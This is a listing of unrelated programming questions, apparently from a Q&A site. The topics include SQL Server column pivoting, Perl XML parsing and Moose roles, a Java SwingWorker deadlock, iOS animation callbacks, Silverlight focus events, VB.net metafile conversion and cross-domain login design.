I have a table which has essentially boolean values in a legacy database. The column names are stored as string values in another table so I need to match the column names of one table to a string value in another table. I know there has to be a way to do this directly with SQL in SQL Server but it is beyond me. My initial thought was to use PIVOT but it is not enabled by default and enabling it would likely be a difficult process with pushing that change to the Production database. I would prefer to use what is enabled by default. I am considering using COALESCE to translate the boolean value to the string that value that I need. This will be a manual process. I think I will also use a table variable to insert the results of the first query into that variable and use those results to do the second query. I still have the problem that the columns are on a single row so I wish I could easily pivot the values to put the column names in the result set as strings. But if I could easily do that I could easily write the query with a sub-select. Any tips are welcome.

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Perl XML SAX parser emulating XML::Simple record for record

- by DVK

Short Q summary: I am looking a fast XML parser (most likely a wrapper around some standard SAX parser) which will produce per-record data structure 100% identical to those produced by XML::Simple. Details: We have a large code infrastructure which depends on processing records one-by-one and expects the record to be a data structure in a format produced by XML::Simple since it always used XML::Simple since early Jurassic era. An example simple XML is: <root> <rec><f1>v1</f1><f2>v2</f2></rec> <rec><f1>v1b</f1><f2>v2b</f2></rec> <rec><f1>v1c</f1><f2>v2c</f2></rec> </root> And example rough code is: sub process_record { my ($obj, $record_hash) = @_; # do_stuff } my $records = XML::Simple->XMLin(@args)->{root}; foreach my $record (@$records) { $obj->process_record($record) }; As everyone knows XML::Simple is, well, simple. And more importantly, it is very slow and a memory hog - due to being a DOM parser and needing to build/store 100% of data in memory. So, it's not the best tool for parsing an XML file consisting of large amount of small records record-by-record. However, re-writing the entire code (which consist of large amount of "process_record"-like methods) to work with standard SAX parser seems like an big task not worth the resources, even at the cost of living with XML::Simple. What I'm looking for is an existing module which will probably be based on a SAX parser (or anything fast with small memory footprint) which can be used to produce $record hashrefs one by one based on the XML pictured above that can be passed to $obj->process_record($record) and be 100% identical to what XML::Simple's hashrefs would have been.

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How do I compose an existing Moose role into a class at runtime?

- by Oesor

Say I define an abstract My::Object and concrete role implementations My::Object::TypeA and My::Object::TypeB. For maintainability reasons, I'd like to not have a hardcoded table that looks at the object type and applies roles. As a DWIMmy example, I'm looking for something along these lines in My::Object: has => 'id' (isa => 'Str', required => 1); sub BUILD { my $self = shift; my $type = $self->lookup_type(); ## Returns 'TypeB' {"My::Object::$type"}->meta->apply($self); } Letting me get a My::Object with My::Object::TypeB role applied by doing the following: my $obj = My::Object(id = 'foo') Is this going to do what I want or am I on the entirely wrong track? Edit: I simplified this too much; I don't want to have to know the type when I instantiate the object, I want the object to determine its type and apply the correct role's methods appropriately. I've edited my question to make this clearer.

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Alternatives to storing Moose object using Apache::Session with CODE references

- by Hartmut Behrens

I have a Moose class that i would like to store using Apache::Session::File. However, Apache::Session::File by default will not store it and instead i get the error message: (in cleanup) Can't store CODE items at blib\lib\Storable.pm (autosplit into blib\lib\auto\Storable\_freeze.al)... This problem can be circumvented by setting $Storable::Deparse = 1; $Storable::Eval = 1; in order to allow CODE references to be serialized. The offending method in the Moose class is listed below, which retrieves a column from a mysql database: sub _build_cell_generic { my ($self,$col) = @_; my $sth = $self->call_dbh('prepare','select '.$col.' from '.$self->TABLE.' where CI = ? and LAC = ? and IMPORTDATE = ?'); $sth->execute($self->CI,$self->LAC,$self->IMPORTDATE); my $val = $sth->fetchrow_array; $sth->finish; return defined $val ? $val : undef; } So presumably the dbh object (isa DBIx::Connector) contains CODE references. Is there a better alternative in order to allow serialization of this Moose class than setting $Storable::Deparse and $Storable::Eval ?

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JDK-7 SwingWorker deadlocks?

- by kd304

I have a small image processing application which does multiple things at once using SwingWorker. However, if I run the following code (oversimplified excerpt), it just hangs on JDK 7 b70 (windows) but works in 6u16. It starts a new worker within another worker and waits for its result (the real app runs multiple sub-workers and waits for all this way). Did I use some wrong patterns here (as mostly there is 3-5 workers in the swingworker-pool, which has limit of 10 I think)? import javax.swing.SwingUtilities; import javax.swing.SwingWorker; public class Swing { static SwingWorker<String, Void> getWorker2() { return new SwingWorker<String, Void>() { @Override protected String doInBackground() throws Exception { return "Hello World"; } }; } static void runWorker() { SwingWorker<String, Void> worker = new SwingWorker<String, Void>() { @Override protected String doInBackground() throws Exception { SwingWorker<String, Void> sw2 = getWorker2(); sw2.execute(); return sw2.get(); } }; worker.execute(); try { System.out.println(worker.get()); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { @Override public void run() { runWorker(); } }); } }

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How to specify selector when CAKeyframeAnimation is finished?

- by darenchow

I'm using a CAKeyframeAnimation to animate a view along a CGPath. When the animation is done, I'd like to be able to call some other method to perform another action. Is there a good way to do this? I've looked at using UIView's setAnimationDidStopSelector:, however from the docs this looks like it only applies when used within a UIView animation block (beginAnimations and commitAnimations). I also gave it a try just in case, but it doesn't seem to work. Here's some sample code (this is within a custom UIView sub-class method): // These have no effect since they're not in a UIView Animation Block [UIView setAnimationDelegate:self]; [UIView setAnimationDidStopSelector:@selector(animationDidStop:finished:context:)]; // Set up path movement CAKeyframeAnimation *pathAnimation = [CAKeyframeAnimation animationWithKeyPath:@"path"]; pathAnimation.calculationMode = kCAAnimationPaced; pathAnimation.fillMode = kCAFillModeForwards; pathAnimation.removedOnCompletion = NO; pathAnimation.duration = 1.0f; CGMutablePathRef path = CGPathCreateMutable(); CGPathMoveToPoint(path, NULL, self.center.x, self.center.y); // add all points to the path for (NSValue* value in myPoints) { CGPoint nextPoint = [value CGPointValue]; CGPathAddLineToPoint(path, NULL, nextPoint.x, nextPoint.y); } pathAnimation.path = path; CGPathRelease(path); [self.layer addAnimation:pathAnimation forKey:@"pathAnimation"]; A workaround I was considering that should work, but doesn't seem like the best way, is to use NSObject's performSelector:withObject:afterDelay:. As long as I set the delay equal to the duration of the animation, then it should be fine. Is there a better way? Thanks!

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Button Click Event Getting Lost

- by AlishahNovin

I have a Menu and Submenu structure in Silverlight, and I want the submenu to disappear when the parent menu item loses focus - standard Menu behavior. I've noticed that the submenu's click events are lost when a submenu item is clicked, because the parent menu item loses focus and the submenu disappears. It's easier to explain with code: ParentMenuBtn.Click += delegate { SubMenu.Visibility = (SubMenu.Visibility == Visibility.Visible) ? SubMenu.Collapsed : SubMenu.Visible; }; ParentMenuBtn.LostFocus += delegate { SubMenu.Visibility = Visibility.Collapsed; }; SubMenuBtn.Click += delegate { throw new Exception("This will never be thrown."); }; In my example, when SubMenuBtn is clicked, the first event that triggers is ParentMenuBtn.LostFocus(), which hides the container of SubMenuBtn. Once the container's visibility collapses, the Click event is never triggered. I'd rather avoid having to hide the sub-menu each time, but I'm a little surprised that the Click event is never triggered as a result... I can't put any checks inside the LostFocus() event to see if my SubMenuBtn has focus, because it does not gain focus until after the LostFocus() event is called. In other words, SubMenuBtn.IsFocused = false when LostFocus() is triggered. Anyone have any thoughts about this?

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VB.net Saving an MetaFile / EMF as a bitmap ( .tiff)

- by pehaada

Currently I have a third party control that generates a Metafile. I can save the .wmf file to disk with out issue. The problem is how do I render the Metafile as a Tiff file. Currently I have the following code to get my metafile and save it. Dim mf As Metafile = page.GetImage(TXTextControl.Page.PageContent.All) Dim enhMetafileHandle As IntPtr = mf.GetHenhmetafile() Dim h As IntPtr Dim bufferSize As UInteger = GetEnhMetaFileBits(enhMetafileHandle, 0, h) Dim buffer(CInt(bufferSize)) As Byte GetEnhMetaFileBits(enhMetafileHandle, bufferSize, buffer) Dim msMetafileStream As New MemoryStream msMetafileStream.Write(buffer, 0, CInt(bufferSize)) Dim baMetafileData() As Byte baMetafileData = msMetafileStream.ToArray Dim g As Graphics = Graphics.FromImage(mf) mf.Dispose() File.WriteAllBytes("c:\a.wmf", baMetafileData) end sub _ Public Shared Function GetEnhMetaFileBits( ByVal hEMF As System.IntPtr, ByVal nSize As UInteger, ByVal lpData As IntPtr) As UInteger End Function <System.Runtime.InteropServices.DllImportAttribute("gdi32.dll", EntryPoint:="GetEnhMetaFileBits")> _ Public Shared Function GetEnhMetaFileBits(<System.Runtime.InteropServices.InAttribute()> ByVal hEMF As System.IntPtr, ByVal nSize As UInteger, ByVal lpData() As Byte) As UInteger End Function I've tried all sort of IMAGE and Graphic calls and just can't save the meta file as a .tiff. Any suggestions would be great. I even tried to create a new bitmap and draw the metafile onto it. I always end up with a GDI exception being thrown.

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Cross domain login - what to store in the database?

- by Jenkz

I'm working on a system which will allow me to login to the same system via various domains. (www.example.com, www.mydomain.com, sub.domain.com etc) The following threads form the basis of my research so far: Single Sign On across multiple domains Cross web domain login with .net membership What I want to happen is that If I am logged in on the master domain and I visit a page on a client domain to be automatically logged in on the client. Obviously If I am not logged in on the master, I will need to enter my username and password. Walkthrough: 1. User logs in on master site 2. User navigates to client site 3. Client site re-directs to master site to see if User is logged in. 4. If User is logged in on master, record a RFC 4122 token ID and send this back to the client site. 5. Client site then looks up the token ID in the central database and logs this user in. This might eventually end up running on more than once instance of PHP and Apache, so I can't just store: token_id, php_session_id, created Is there any problem with me storing and using this: token_id, username, hashed_password, created Which is deleted on use, or automatically after x seconds.

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